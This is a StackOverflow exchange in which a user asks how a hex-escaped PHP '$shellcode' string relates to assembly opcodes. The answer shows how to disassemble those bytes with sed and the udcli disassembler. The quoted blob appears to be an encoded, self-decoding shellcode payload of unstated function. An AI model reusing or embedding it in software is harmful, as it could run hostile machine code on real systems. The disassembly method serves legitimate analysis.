How to Convert ASM Code(opcodes) To String

StackOverflow https://stackoverflow.com/questions/14694316

Question

How can I convert assembly codes to string like this in PHP:

$shellcode =
"\x33\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf4".
"\x47\xba\xa4\x83\xeb\xfc\xe2\xf4\x08\xaf\xfe\xa4\xf4\x47\x31\xe1".
"\xc8\xcc\xc6\xa1\x8c\x46\x55\x2f\xbb\x5f\x31\xfb\xd4\x46\x51\xed".
"\x7f\x73\x31\xa5\x1a\x76\x7a\x3d\x58\xc3\x7a\xd0\xf3\x86\x70\xa9".
"\xf5\x85\x51\x50\xcf\x13\x9e\xa0\x81\xa2\x31\xfb\xd0\x46\x51\xc2".
"\x7f\x4b\xf1\x2f\xab\x5b\xbb\x4f\x7f\x5b\x31\xa5\x1f\xce\xe6\x80".
"\xf0\x84\x8b\x64\x90\xcc\xfa\x94\x71\x87\xc2\xa8\x7f\x07\xb6\x2f".
"\x84\x5b\x17\x2f\x9c\x4f\x51\xad\x7f\xc7\x0a\xa4\xf4\x47\x31\xcc".
"\xc8\x18\x8b\x52\x94\x11\x33\x5c\x77\x87\xc1\xf4\x9c\xb7\x30\xa0".
"\xab\x2f\x22\x5a\x7e\x49\xed\x5b\x13\x24\xdb\xc8\x97\x47\xba\xa4";

I guess this is opcodes of asm codes written in HEX. But if so, how can I convert asm codes like these strings?

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Solution

If using PHP is not a requirement, this can be done easily in Linux console by using eg. udcli disassembler that comes with udis86 disassembler library. You can check my answer to Disassembling file that contain big data or is compressed .

For this particular case of yours using eg. sed does nicely the job to convert the data to a format usable by udcli:

$ echo '\x33\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf4". "\x47\xba\xa4\x83\xeb\xfc\xe2\xf4\x08\xaf\xfe\xa4\xf4\x47\x31\xe1". "\xc8\xcc\xc6\xa1\x8c\x46\x55\x2f\xbb\x5f\x31\xfb\xd4\x46\x51\xed". "\x7f\x73\x31\xa5\x1a\x76\x7a\x3d\x58\xc3\x7a\xd0\xf3\x86\x70\xa9". "\xf5\x85\x51\x50\xcf\x13\x9e\xa0\x81\xa2\x31\xfb\xd0\x46\x51\xc2". "\x7f\x4b\xf1\x2f\xab\x5b\xbb\x4f\x7f\x5b\x31\xa5\x1f\xce\xe6\x80". "\xf0\x84\x8b\x64\x90\xcc\xfa\x94\x71\x87\xc2\xa8\x7f\x07\xb6\x2f". "\x84\x5b\x17\x2f\x9c\x4f\x51\xad\x7f\xc7\x0a\xa4\xf4\x47\x31\xcc". "\xc8\x18\x8b\x52\x94\x11\x33\x5c\x77\x87\xc1\xf4\x9c\xb7\x30\xa0". "\xab\x2f\x22\x5a\x7e\x49\xed\x5b\x13\x24\xdb\xc8\x97\x47\xba\xa4";"' | sed 's/\\x/ /g' | sed 's/"//g' | sed 's/\.//g' | sed 's/;//g' | udcli -x -32
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